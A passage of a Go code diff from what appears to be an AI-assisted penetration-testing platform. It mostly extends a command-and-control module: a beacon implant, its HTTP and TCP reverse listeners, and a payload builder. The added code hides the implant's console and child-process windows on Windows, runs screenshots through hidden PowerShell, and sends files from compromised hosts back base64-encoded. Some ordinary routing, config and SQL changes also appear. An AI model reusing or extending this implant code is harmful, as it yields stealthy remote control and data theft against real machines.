protected.PUT("/projects/:id", projectHandler.UpdateProject)
|
||||
protected.DELETE("/projects/:id", projectHandler.DeleteProject)
|
||||
protected.GET("/projects/:id/facts", projectHandler.ListFacts)
|
||||
protected.GET("/projects/:id/facts/:factId/previous-version", projectHandler.GetFactPreviousVersion)
|
||||
protected.GET("/projects/:id/facts/:factId/versions", projectHandler.ListFactVersions)
|
||||
protected.POST("/projects/:id/facts", projectHandler.CreateFact)
|
||||
protected.PUT("/projects/:id/facts/:factId", projectHandler.UpdateFact)
|
||||
protected.DELETE("/projects/:id/facts/:factId", projectHandler.DeleteFact)
|
||||
|
||||
@@ -47,6 +47,24 @@ func (l *oneConnListener) Accept() (net.Conn, error) {
|
||||
func (l *oneConnListener) Close() error { return nil }
|
||||
func (l *oneConnListener) Addr() net.Addr { return l.addr }
|
||||
|
||||
// httpServerForTLSConn 从已有 Server 复制可服务字段,用于已握手 TLS 连接上的 HTTP 服务。
|
||||
// 不能复制整个 http.Server(内含 atomic/noCopy 字段)。
|
||||
func httpServerForTLSConn(src *http.Server) *http.Server {
|
||||
return &http.Server{
|
||||
Handler: src.Handler,
|
||||
DisableGeneralOptionsHandler: src.DisableGeneralOptionsHandler,
|
||||
ReadTimeout: src.ReadTimeout,
|
||||
ReadHeaderTimeout: src.ReadHeaderTimeout,
|
||||
WriteTimeout: src.WriteTimeout,
|
||||
IdleTimeout: src.IdleTimeout,
|
||||
MaxHeaderBytes: src.MaxHeaderBytes,
|
||||
ConnState: src.ConnState,
|
||||
ErrorLog: src.ErrorLog,
|
||||
BaseContext: src.BaseContext,
|
||||
ConnContext: src.ConnContext,
|
||||
}
|
||||
}
|
||||
|
||||
func isTLSHandshakeRecord(b byte) bool {
|
||||
return b == 0x16
|
||||
}
|
||||
@@ -172,8 +190,7 @@ func (m *mainServerMux) serveHTTPS(pc *peekedConn, localAddr net.Addr) {
|
||||
}
|
||||
}
|
||||
|
||||
plain := *srv
|
||||
plain.TLSConfig = nil
|
||||
plain := httpServerForTLSConn(srv)
|
||||
ocl := &oneConnListener{conn: tlsConn, addr: localAddr}
|
||||
if err := plain.Serve(ocl); err != nil && !errors.Is(err, net.ErrClosed) && !errors.Is(err, http.ErrServerClosed) {
|
||||
m.logger.Debug("HTTPS 连接处理结束", zap.Error(err))
|
||||
|
||||
@@ -293,8 +293,8 @@ func registerListVulnerabilitiesTool(mcpServer *mcp.Server, db *database.DB, log
|
||||
},
|
||||
"status": map[string]interface{}{
|
||||
"type": "string",
|
||||
"description": "按状态筛选:open、confirmed、fixed、false_positive",
|
||||
"enum": []string{"open", "confirmed", "fixed", "false_positive"},
|
||||
"description": "按状态筛选:open、confirmed、fixed、false_positive、ignored",
|
||||
"enum": []string{"open", "confirmed", "fixed", "false_positive", "ignored"},
|
||||
},
|
||||
"q": map[string]interface{}{
|
||||
"type": "string",
|
||||
|
||||
@@ -0,0 +1,48 @@
|
||||
package c2
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"strings"
|
||||
"unicode/utf8"
|
||||
|
||||
"golang.org/x/text/encoding/simplifiedchinese"
|
||||
"golang.org/x/text/transform"
|
||||
)
|
||||
|
||||
// NormalizeConsoleOutput 将 implant/Shell 原始控制台字节转为 UTF-8 文本。
|
||||
// osTag 来自会话的 os 字段(如 windows / Windows 10);空值时按 auto 处理。
|
||||
func NormalizeConsoleOutput(raw []byte, osTag string) string {
|
||||
if len(raw) == 0 {
|
||||
return ""
|
||||
}
|
||||
osTag = strings.ToLower(strings.TrimSpace(osTag))
|
||||
isWindows := strings.Contains(osTag, "windows")
|
||||
|
||||
if utf8.Valid(raw) {
|
||||
return string(raw)
|
||||
}
|
||||
if isWindows {
|
||||
if out, _, err := transform.Bytes(simplifiedchinese.GB18030.NewDecoder(), raw); err == nil {
|
||||
return string(out)
|
||||
}
|
||||
}
|
||||
// 非 Windows 或解码失败:GB18030 兜底(覆盖 GBK)
|
||||
if out, _, err := transform.Bytes(simplifiedchinese.GB18030.NewDecoder(), raw); err == nil {
|
||||
return string(out)
|
||||
}
|
||||
return string(raw)
|
||||
}
|
||||
|
||||
// ResolveTaskResultText 合并 beacon 回传的 Output/OutputB64(及 Error/ErrorB64),按会话 OS 解码。
|
||||
func ResolveTaskResultText(plain, b64, sessionOS string) string {
|
||||
if strings.TrimSpace(b64) != "" {
|
||||
raw, err := base64.StdEncoding.DecodeString(strings.TrimSpace(b64))
|
||||
if err == nil {
|
||||
return NormalizeConsoleOutput(raw, sessionOS)
|
||||
}
|
||||
}
|
||||
if plain == "" {
|
||||
return ""
|
||||
}
|
||||
return NormalizeConsoleOutput([]byte(plain), sessionOS)
|
||||
}
|
||||
@@ -0,0 +1,51 @@
|
||||
package c2
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"testing"
|
||||
|
||||
"golang.org/x/text/encoding/simplifiedchinese"
|
||||
"golang.org/x/text/transform"
|
||||
)
|
||||
|
||||
func mustGBK(t *testing.T, s string) []byte {
|
||||
t.Helper()
|
||||
out, _, err := transform.Bytes(simplifiedchinese.GBK.NewEncoder(), []byte(s))
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func TestNormalizeConsoleOutput_WindowsGBK(t *testing.T) {
|
||||
raw := mustGBK(t, "中文测试")
|
||||
got := NormalizeConsoleOutput(raw, "windows")
|
||||
if got != "中文测试" {
|
||||
t.Fatalf("got %q want 中文测试", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestNormalizeConsoleOutput_UTF8Passthrough(t *testing.T) {
|
||||
raw := []byte("hello 世界")
|
||||
got := NormalizeConsoleOutput(raw, "linux")
|
||||
if got != "hello 世界" {
|
||||
t.Fatalf("got %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestResolveTaskResultText_PrefersB64(t *testing.T) {
|
||||
raw := mustGBK(t, "采购订单")
|
||||
b64 := base64.StdEncoding.EncodeToString(raw)
|
||||
got := ResolveTaskResultText("", b64, "windows")
|
||||
if got != "采购订单" {
|
||||
t.Fatalf("got %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestResolveTaskResultText_PlainFallback(t *testing.T) {
|
||||
raw := mustGBK(t, "测试")
|
||||
got := ResolveTaskResultText(string(raw), "", "windows")
|
||||
if got != "测试" {
|
||||
t.Fatalf("got %q", got)
|
||||
}
|
||||
}
|
||||
@@ -367,6 +367,7 @@ func (l *HTTPBeaconListener) handleFileServe(w http.ResponseWriter, r *http.Requ
|
||||
}
|
||||
prefix := l.cfg.BeaconFilePath
|
||||
taskID := strings.TrimPrefix(r.URL.Path, prefix)
|
||||
taskID = strings.TrimSuffix(taskID, ".bin")
|
||||
if taskID == "" || strings.Contains(taskID, "/") || strings.Contains(taskID, "\\") || strings.Contains(taskID, "..") {
|
||||
l.disguisedReject(w)
|
||||
return
|
||||
|
||||
@@ -2,10 +2,12 @@ package c2
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"io"
|
||||
"net"
|
||||
"net/http"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strconv"
|
||||
"strings"
|
||||
@@ -127,3 +129,101 @@ func TestHTTPBeaconListener_CheckInMatrix(t *testing.T) {
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
func TestHTTPBeaconListener_HandleFileServe(t *testing.T) {
|
||||
tmp := t.TempDir()
|
||||
dbPath := filepath.Join(tmp, "c2.sqlite")
|
||||
db, err := database.NewDB(dbPath, zap.NewNop())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = db.Close() })
|
||||
|
||||
lnPick, err := net.Listen("tcp", "127.0.0.1:0")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
port := lnPick.Addr().(*net.TCPAddr).Port
|
||||
_ = lnPick.Close()
|
||||
|
||||
keyB64, err := GenerateAESKey()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
token := "test-implant-token-file"
|
||||
|
||||
lid := "l_testhttpfile01"
|
||||
rec := &database.C2Listener{
|
||||
ID: lid,
|
||||
Name: "t",
|
||||
Type: string(ListenerTypeHTTPBeacon),
|
||||
BindHost: "127.0.0.1",
|
||||
BindPort: port,
|
||||
EncryptionKey: keyB64,
|
||||
ImplantToken: token,
|
||||
Status: "stopped",
|
||||
ConfigJSON: `{"beacon_file_path":"/file/"}`,
|
||||
CreatedAt: time.Now(),
|
||||
}
|
||||
if err := db.CreateC2Listener(rec); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
store := filepath.Join(tmp, "c2store")
|
||||
m := NewManager(db, zap.NewNop(), store)
|
||||
m.Registry().Register(string(ListenerTypeHTTPBeacon), NewHTTPBeaconListener)
|
||||
if _, err := m.StartListener(lid); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = m.StopListener(lid) })
|
||||
|
||||
fileID := "f_testfile123"
|
||||
downDir := filepath.Join(store, "downstream")
|
||||
if err := os.MkdirAll(downDir, 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
want := []byte("upload-payload-bytes")
|
||||
if err := os.WriteFile(filepath.Join(downDir, fileID+".bin"), want, 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
base := "http://127.0.0.1:" + strconv.Itoa(port)
|
||||
client := &http.Client{Timeout: 5 * time.Second}
|
||||
|
||||
for _, path := range []string{"/file/" + fileID, "/file/" + fileID + ".bin"} {
|
||||
t.Run(path, func(t *testing.T) {
|
||||
req, _ := http.NewRequest(http.MethodGet, base+path, nil)
|
||||
req.Header.Set("X-Implant-Token", token)
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
b, _ := io.ReadAll(resp.Body)
|
||||
t.Fatalf("status=%d body=%q", resp.StatusCode, b)
|
||||
}
|
||||
raw, err := io.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
plain, err := DecryptAESGCM(keyB64, string(raw))
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
var out struct {
|
||||
FileData string `json:"file_data"`
|
||||
}
|
||||
if err := json.Unmarshal(plain, &out); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
got, err := base64.StdEncoding.DecodeString(out.FileData)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !bytes.Equal(got, want) {
|
||||
t.Fatalf("got %q want %q", got, want)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
@@ -298,6 +298,12 @@ func (l *TCPReverseListener) runTaskOnConn(c *tcpReverseConn, env TaskEnvelope)
|
||||
return
|
||||
}
|
||||
cleaned := cleanShellOutput(output, cmd)
|
||||
if TaskType(env.TaskType) == TaskTypeDownload {
|
||||
if errMsg := detectDownloadShellError(cleaned); errMsg != "" {
|
||||
l.reportTaskResult(env.TaskID, startedAt, false, cleaned, errMsg, "", "")
|
||||
return
|
||||
}
|
||||
}
|
||||
l.reportTaskResult(env.TaskID, startedAt, true, cleaned, "", "", "")
|
||||
}
|
||||
|
||||
@@ -316,8 +322,8 @@ func (l *TCPReverseListener) reportTaskResult(taskID string, startedAtMS int64,
|
||||
}
|
||||
|
||||
// buildTCPCommand 把 (TaskType + payload) 转成 raw shell 命令字符串。
|
||||
// 仅支持 TCP 反弹模式可直接执行的最简任务类型;upload/download/screenshot 这些
|
||||
// 需要二进制传输的能力建议使用 http_beacon。
|
||||
// 仅支持 TCP 反弹模式可直接执行的最简任务类型;download 通过 base64 输出文本结果,
|
||||
// upload/screenshot 等需要二进制传输的能力建议使用 http_beacon。
|
||||
func buildTCPCommand(t TaskType, payload map[string]interface{}) (string, bool) {
|
||||
switch t {
|
||||
case TaskTypeExec, TaskTypeShell:
|
||||
@@ -345,6 +351,16 @@ func buildTCPCommand(t TaskType, payload map[string]interface{}) (string, bool)
|
||||
return "", false
|
||||
}
|
||||
return "cd " + shellQuote(path) + " && pwd", true
|
||||
case TaskTypeDownload:
|
||||
path, _ := payload["remote_path"].(string)
|
||||
if strings.TrimSpace(path) == "" {
|
||||
return "", false
|
||||
}
|
||||
q := shellQuote(path)
|
||||
return fmt.Sprintf(
|
||||
`f=%s; if [ ! -e "$f" ]; then echo 'C2_DOWNLOAD_ERR: no such file or directory' >&2; exit 1; elif [ -d "$f" ]; then echo 'C2_DOWNLOAD_ERR: is a directory' >&2; exit 1; elif [ ! -r "$f" ]; then echo 'C2_DOWNLOAD_ERR: permission denied' >&2; exit 1; else base64 "$f" 2>/dev/null || base64 < "$f"; fi`,
|
||||
q,
|
||||
), true
|
||||
case TaskTypeExit:
|
||||
return "exit 0", true
|
||||
}
|
||||
@@ -382,6 +398,29 @@ func shellQuote(s string) string {
|
||||
return "'" + strings.ReplaceAll(s, "'", "'\\''") + "'"
|
||||
}
|
||||
|
||||
// detectDownloadShellError 识别 download 任务中 shell/base64 返回的错误信息。
|
||||
func detectDownloadShellError(output string) string {
|
||||
trimmed := strings.TrimSpace(output)
|
||||
if trimmed == "" {
|
||||
return ""
|
||||
}
|
||||
lower := strings.ToLower(trimmed)
|
||||
markers := []string{
|
||||
"c2_download_err:",
|
||||
"no such file",
|
||||
"permission denied",
|
||||
"is a directory",
|
||||
"cannot open",
|
||||
"not a regular file",
|
||||
}
|
||||
for _, m := range markers {
|
||||
if strings.Contains(lower, m) {
|
||||
return trimmed
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func isAddrInUse(err error) bool {
|
||||
if err == nil {
|
||||
return false
|
||||
|
||||
@@ -0,0 +1,43 @@
|
||||
package c2
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestDetectDownloadShellError(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
output string
|
||||
want string
|
||||
}{
|
||||
{name: "empty ok", output: "", want: ""},
|
||||
{name: "base64 ok", output: "aGVsbG8=", want: ""},
|
||||
{name: "marker", output: "C2_DOWNLOAD_ERR: no such file or directory", want: "C2_DOWNLOAD_ERR: no such file or directory"},
|
||||
{name: "bash missing file", output: "bash: ../0: No such file or directory", want: "bash: ../0: No such file or directory"},
|
||||
{name: "permission denied", output: "C2_DOWNLOAD_ERR: permission denied", want: "C2_DOWNLOAD_ERR: permission denied"},
|
||||
}
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
got := detectDownloadShellError(tt.output)
|
||||
if got != tt.want {
|
||||
t.Fatalf("detectDownloadShellError(%q) = %q, want %q", tt.output, got, tt.want)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildTCPCommandDownload(t *testing.T) {
|
||||
cmd, ok := buildTCPCommand(TaskTypeDownload, map[string]interface{}{
|
||||
"remote_path": "/tmp/demo.txt",
|
||||
})
|
||||
if !ok {
|
||||
t.Fatal("expected download command to be supported")
|
||||
}
|
||||
if want := "f='/tmp/demo.txt'"; !strings.Contains(cmd, want) {
|
||||
t.Fatalf("command %q should contain %q", cmd, want)
|
||||
}
|
||||
if !strings.Contains(cmd, "C2_DOWNLOAD_ERR") {
|
||||
t.Fatalf("command should validate file before base64: %q", cmd)
|
||||
}
|
||||
}
|
||||
+12
-4
@@ -638,10 +638,18 @@ func (m *Manager) IngestTaskResult(report TaskResultReport) error {
|
||||
status = string(TaskFailed)
|
||||
}
|
||||
duration := endedAt.Sub(startedAt).Milliseconds()
|
||||
|
||||
sessionOS := ""
|
||||
if sess, serr := m.db.GetC2Session(t.SessionID); serr == nil && sess != nil {
|
||||
sessionOS = sess.OS
|
||||
}
|
||||
resultText := ResolveTaskResultText(report.Output, report.OutputB64, sessionOS)
|
||||
errText := ResolveTaskResultText(report.Error, report.ErrorB64, sessionOS)
|
||||
|
||||
upd := database.C2TaskUpdate{
|
||||
Status: &status,
|
||||
ResultText: &report.Output,
|
||||
Error: &report.Error,
|
||||
ResultText: &resultText,
|
||||
Error: &errText,
|
||||
StartedAt: &startedAt,
|
||||
CompletedAt: &endedAt,
|
||||
DurationMS: &duration,
|
||||
@@ -661,8 +669,8 @@ func (m *Manager) IngestTaskResult(report TaskResultReport) error {
|
||||
return err
|
||||
}
|
||||
t.Status = status
|
||||
t.ResultText = report.Output
|
||||
t.Error = report.Error
|
||||
t.ResultText = resultText
|
||||
t.Error = errText
|
||||
|
||||
level := "info"
|
||||
msg := fmt.Sprintf("任务完成: %s", t.TaskType)
|
||||
|
||||
@@ -160,6 +160,18 @@ func (b *PayloadBuilder) BuildBeacon(in PayloadBuilderInput) (*BuildResult, erro
|
||||
}
|
||||
f.Close()
|
||||
|
||||
// 平台相关辅助源文件(如无窗口子进程)
|
||||
for _, name := range []string{"proc_hide_windows.go", "proc_hide_unix.go"} {
|
||||
helperSrc := filepath.Join(b.tmplDir, name+".tmpl")
|
||||
helperData, readErr := os.ReadFile(helperSrc)
|
||||
if readErr != nil {
|
||||
return nil, fmt.Errorf("read helper %s: %w", name, readErr)
|
||||
}
|
||||
if writeErr := os.WriteFile(filepath.Join(workDir, name), helperData, 0644); writeErr != nil {
|
||||
return nil, fmt.Errorf("write helper %s: %w", name, writeErr)
|
||||
}
|
||||
}
|
||||
|
||||
// 交叉编译
|
||||
binName := strings.TrimSpace(in.OutputName)
|
||||
if binName == "" {
|
||||
@@ -174,15 +186,16 @@ func (b *PayloadBuilder) BuildBeacon(in PayloadBuilderInput) (*BuildResult, erro
|
||||
return nil, fmt.Errorf("mkdir output: %w", err)
|
||||
}
|
||||
|
||||
absSrcPath, err := filepath.Abs(srcPath)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("abs source path: %w", err)
|
||||
}
|
||||
absBinPath, err := filepath.Abs(binPath)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("abs output path: %w", err)
|
||||
}
|
||||
cmd := exec.Command("go", "build", "-ldflags", "-s -w -buildid=", "-trimpath", "-o", absBinPath, absSrcPath)
|
||||
ldflags := "-s -w -buildid="
|
||||
if goos == "windows" {
|
||||
// 无控制台窗口运行 beacon 本体
|
||||
ldflags += " -H windowsgui"
|
||||
}
|
||||
cmd := exec.Command("go", "build", "-ldflags", ldflags, "-trimpath", "-o", absBinPath, ".")
|
||||
cmd.Env = append(os.Environ(),
|
||||
"GOOS="+goos,
|
||||
"GOARCH="+goarch,
|
||||
|
||||
@@ -45,6 +45,7 @@ import (
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
"unicode/utf8"
|
||||
)
|
||||
|
||||
// 编译期注入常量(text/template 替换)
|
||||
@@ -101,7 +102,9 @@ type TaskReport struct {
|
||||
TaskID string `json:"task_id"`
|
||||
Success bool `json:"success"`
|
||||
Output string `json:"output,omitempty"`
|
||||
OutputB64 string `json:"output_b64,omitempty"`
|
||||
Error string `json:"error,omitempty"`
|
||||
ErrorB64 string `json:"error_b64,omitempty"`
|
||||
BlobBase64 string `json:"blob_b64,omitempty"`
|
||||
BlobSuffix string `json:"blob_suffix,omitempty"`
|
||||
StartedAt int64 `json:"started_at"`
|
||||
@@ -326,16 +329,7 @@ func handleTaskSyncTCP(conn net.Conn, env TaskEnv) {
|
||||
defer func() { tcpTaskConn = nil }()
|
||||
start := time.Now()
|
||||
output, blobB64, blobSuffix, errMsg := executeTask(env.TaskType, env.Payload)
|
||||
report := TaskReport{
|
||||
TaskID: env.TaskID,
|
||||
Success: errMsg == "",
|
||||
Output: output,
|
||||
Error: errMsg,
|
||||
BlobBase64: blobB64,
|
||||
BlobSuffix: blobSuffix,
|
||||
StartedAt: start.UnixMilli(),
|
||||
EndedAt: time.Now().UnixMilli(),
|
||||
}
|
||||
report := buildTaskReport(env.TaskID, output, errMsg, blobB64, blobSuffix, start, time.Now())
|
||||
tcpReportResult(conn, report)
|
||||
}
|
||||
|
||||
@@ -367,7 +361,8 @@ func fetchC2FileByID(fileID string) ([]byte, error) {
|
||||
if tcpTaskConn != nil {
|
||||
return tcpFetchEncryptedFile(tcpTaskConn, fileID)
|
||||
}
|
||||
url := fmt.Sprintf("%s%s%s.bin", serverURL, filePath, fileID)
|
||||
// 服务端 handleFileServe 会在 downstream/<file_id>.bin 读取;URL 路径应为 /file/<file_id>,勿重复 .bin
|
||||
url := fmt.Sprintf("%s%s%s", serverURL, filePath, fileID)
|
||||
req, _ := http.NewRequest("GET", url, nil)
|
||||
req.Header.Set("User-Agent", userAgent)
|
||||
req.Header.Set("X-Implant-Token", implantToken)
|
||||
@@ -635,20 +630,39 @@ func decryptGCM(cipherText string) ([]byte, error) {
|
||||
return gcm.Open(nil, nonce, ct, nil)
|
||||
}
|
||||
|
||||
func encodeReportText(s string) (plain, b64 string) {
|
||||
if s == "" {
|
||||
return "", ""
|
||||
}
|
||||
b := []byte(s)
|
||||
if utf8.Valid(b) {
|
||||
return s, ""
|
||||
}
|
||||
return "", base64.StdEncoding.EncodeToString(b)
|
||||
}
|
||||
|
||||
func buildTaskReport(taskID, output, errMsg, blobB64, blobSuffix string, start, end time.Time) TaskReport {
|
||||
outText, outB64 := encodeReportText(output)
|
||||
errText, errB64 := encodeReportText(errMsg)
|
||||
return TaskReport{
|
||||
TaskID: taskID,
|
||||
Success: errMsg == "",
|
||||
Output: outText,
|
||||
OutputB64: outB64,
|
||||
Error: errText,
|
||||
ErrorB64: errB64,
|
||||
BlobBase64: blobB64,
|
||||
BlobSuffix: blobSuffix,
|
||||
StartedAt: start.UnixMilli(),
|
||||
EndedAt: end.UnixMilli(),
|
||||
}
|
||||
}
|
||||
|
||||
func handleTaskAsync(env TaskEnv) {
|
||||
defer func() { _ = recover() }()
|
||||
start := time.Now()
|
||||
output, blobB64, blobSuffix, errMsg := executeTask(env.TaskType, env.Payload)
|
||||
report := TaskReport{
|
||||
TaskID: env.TaskID,
|
||||
Success: errMsg == "",
|
||||
Output: output,
|
||||
Error: errMsg,
|
||||
BlobBase64: blobB64,
|
||||
BlobSuffix: blobSuffix,
|
||||
StartedAt: start.UnixMilli(),
|
||||
EndedAt: time.Now().UnixMilli(),
|
||||
}
|
||||
report := buildTaskReport(env.TaskID, output, errMsg, blobB64, blobSuffix, start, time.Now())
|
||||
reportResult(report)
|
||||
}
|
||||
|
||||
@@ -715,6 +729,7 @@ func runWithTimeout(cmdStr string, timeoutSec int) (string, error) {
|
||||
timeoutSec = 60
|
||||
}
|
||||
cmd := exec.Command(shellByOS(), shellFlag(), cmdStr)
|
||||
prepareHiddenCmd(cmd)
|
||||
cwdMu.Lock()
|
||||
cmd.Dir = currentCwd
|
||||
cwdMu.Unlock()
|
||||
@@ -890,12 +905,26 @@ func taskKillProc(payload map[string]interface{}) (string, string, string, strin
|
||||
return "killed", "", "", ""
|
||||
}
|
||||
|
||||
func normalizeRemotePath(p string) string {
|
||||
p = strings.TrimSpace(p)
|
||||
if p == "" || runtime.GOOS != "windows" {
|
||||
return p
|
||||
}
|
||||
// 控制台可能下发 /d:/path/file(Unix 风格),Windows 需转为 d:\path\file
|
||||
p = strings.ReplaceAll(p, "\\", "/")
|
||||
if len(p) >= 3 && p[0] == '/' && p[2] == ':' {
|
||||
p = p[1:]
|
||||
}
|
||||
return filepath.FromSlash(p)
|
||||
}
|
||||
|
||||
func taskUpload(payload map[string]interface{}) (string, string, string, string) {
|
||||
remotePath, _ := payload["remote_path"].(string)
|
||||
fileID, _ := payload["file_id"].(string)
|
||||
if remotePath == "" || fileID == "" {
|
||||
return "", "", "", "remote_path or file_id empty"
|
||||
}
|
||||
remotePath = normalizeRemotePath(remotePath)
|
||||
data, err := fetchC2FileByID(fileID)
|
||||
if err != nil {
|
||||
return "", "", "", err.Error()
|
||||
@@ -931,7 +960,7 @@ func taskScreenshot() (string, string, string, string) {
|
||||
b64Out, err = runWithTimeout("import -window root /tmp/.cs_ss.png 2>/dev/null && base64 /tmp/.cs_ss.png && rm -f /tmp/.cs_ss.png", 30)
|
||||
case "windows":
|
||||
ps := `Add-Type -AssemblyName System.Windows.Forms; Add-Type -AssemblyName System.Drawing; $b=New-Object System.Drawing.Bitmap([System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width,[System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $g=[System.Drawing.Graphics]::FromImage($b); $g.CopyFromScreen([System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Location,[System.Drawing.Point]::Empty,$b.Size); $m=New-Object IO.MemoryStream; $b.Save($m,[System.Drawing.Imaging.ImageFormat]::Png); [Convert]::ToBase64String($m.ToArray())`
|
||||
b64Out, err = runWithTimeout(fmt.Sprintf("powershell -NoProfile -NonInteractive -Command \"%s\"", ps), 30)
|
||||
b64Out, err = runWithTimeout(fmt.Sprintf("powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command \"%s\"", ps), 30)
|
||||
default:
|
||||
return "", "", "", "screenshot not supported on " + runtime.GOOS
|
||||
}
|
||||
@@ -1172,6 +1201,7 @@ func taskLoadAssembly(payload map[string]interface{}) (string, string, string, s
|
||||
cmdArgs = strings.Fields(args)
|
||||
}
|
||||
cmd := exec.Command(tmpFile, cmdArgs...)
|
||||
prepareHiddenCmd(cmd)
|
||||
cwdMu.Lock()
|
||||
cmd.Dir = currentCwd
|
||||
cwdMu.Unlock()
|
||||
|
||||
@@ -0,0 +1,9 @@
|
||||
//go:build !windows
|
||||
|
||||
package main
|
||||
|
||||
import "os/exec"
|
||||
|
||||
func prepareHiddenCmd(cmd *exec.Cmd) {
|
||||
_ = cmd
|
||||
}
|
||||
@@ -0,0 +1,18 @@
|
||||
//go:build windows
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"os/exec"
|
||||
"syscall"
|
||||
)
|
||||
|
||||
// prepareHiddenCmd 避免子进程弹出控制台窗口(cmd / powershell / 临时 exe 等)。
|
||||
func prepareHiddenCmd(cmd *exec.Cmd) {
|
||||
if cmd == nil {
|
||||
return
|
||||
}
|
||||
// 仅用 HideWindow:等价于 CREATE_NO_WINDOW,且 macOS/Linux 交叉编译 Windows 时
|
||||
// syscall.CREATE_NO_WINDOW 常量不可用。
|
||||
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
|
||||
}
|
||||
@@ -209,7 +209,9 @@ type TaskResultReport struct {
|
||||
TaskID string `json:"task_id"`
|
||||
Success bool `json:"success"`
|
||||
Output string `json:"output,omitempty"`
|
||||
OutputB64 string `json:"output_b64,omitempty"` // 原始控制台字节(base64),避免 JSON 破坏非 UTF-8 输出
|
||||
Error string `json:"error,omitempty"`
|
||||
ErrorB64 string `json:"error_b64,omitempty"`
|
||||
BlobBase64 string `json:"blob_b64,omitempty"` // 如截图二进制
|
||||
BlobSuffix string `json:"blob_suffix,omitempty"` // 如 ".png"
|
||||
StartedAt int64 `json:"started_at"`
|
||||
|
||||
@@ -240,6 +240,8 @@ type MultiAgentEinoMiddlewareConfig struct {
|
||||
SummarizationTriggerRatio float64 `yaml:"summarization_trigger_ratio,omitempty" json:"summarization_trigger_ratio,omitempty"`
|
||||
// SummarizationEmitInternalEvents controls middleware internal event emission (default true).
|
||||
SummarizationEmitInternalEvents *bool `yaml:"summarization_emit_internal_events,omitempty" json:"summarization_emit_internal_events,omitempty"`
|
||||
// SummarizationRetryMaxAttempts is extra retries after the first summarization Generate attempt; 0 = default 3.
|
||||
SummarizationRetryMaxAttempts int `yaml:"summarization_retry_max_attempts,omitempty" json:"summarization_retry_max_attempts,omitempty"`
|
||||
// PlanExecuteUserInputBudgetRatio caps planner/replanner/executor userInput prompt budget ratio (default 0.35).
|
||||
PlanExecuteUserInputBudgetRatio float64 `yaml:"plan_execute_user_input_budget_ratio,omitempty" json:"plan_execute_user_input_budget_ratio,omitempty"`
|
||||
// PlanExecuteExecutedStepsBudgetRatio caps executed_steps prompt budget ratio (default 0.2).
|
||||
|
||||
@@ -77,7 +77,7 @@ func (db *DB) LoadAttackChainNodes(conversationID string) ([]AttackChainNode, er
|
||||
SELECT id, node_type, node_name, tool_execution_id, metadata, risk_score
|
||||
FROM attack_chain_nodes
|
||||
WHERE conversation_id = ?
|
||||
ORDER BY created_at ASC
|
||||
ORDER BY created_at ASC, rowid ASC
|
||||
`
|
||||
|
||||
rows, err := db.Query(query, conversationID)
|
||||
@@ -123,7 +123,7 @@ func (db *DB) LoadAttackChainEdges(conversationID string) ([]AttackChainEdge, er
|
||||
SELECT id, source_node_id, target_node_id, edge_type, weight
|
||||
FROM attack_chain_edges
|
||||
WHERE conversation_id = ?
|
||||
ORDER BY created_at ASC
|
||||
ORDER BY created_at ASC, rowid ASC
|
||||
`
|
||||
|
||||
rows, err := db.Query(query, conversationID)
|
||||
|
||||
@@ -239,7 +239,7 @@ func (db *DB) CountBatchQueues(status, keyword string) (int, error) {
|
||||
// GetBatchTasks 获取批量任务队列的所有任务
|
||||
func (db *DB) GetBatchTasks(queueID string) ([]*BatchTaskRow, error) {
|
||||
rows, err := db.Query(
|
||||
"SELECT id, queue_id, message, conversation_id, status, started_at, completed_at, error, result FROM batch_tasks WHERE queue_id = ? ORDER BY id",
|
||||
"SELECT id, queue_id, message, conversation_id, status, started_at, completed_at, error, result FROM batch_tasks WHERE queue_id = ? ORDER BY rowid ASC",
|
||||
queueID,
|
||||
)
|
||||
if err != nil {
|
||||
|
||||
@@ -840,7 +840,7 @@ func (db *DB) PopQueuedC2Tasks(sessionID string, limit int) ([]*C2Task, error) {
|
||||
created_at
|
||||
FROM c2_tasks
|
||||
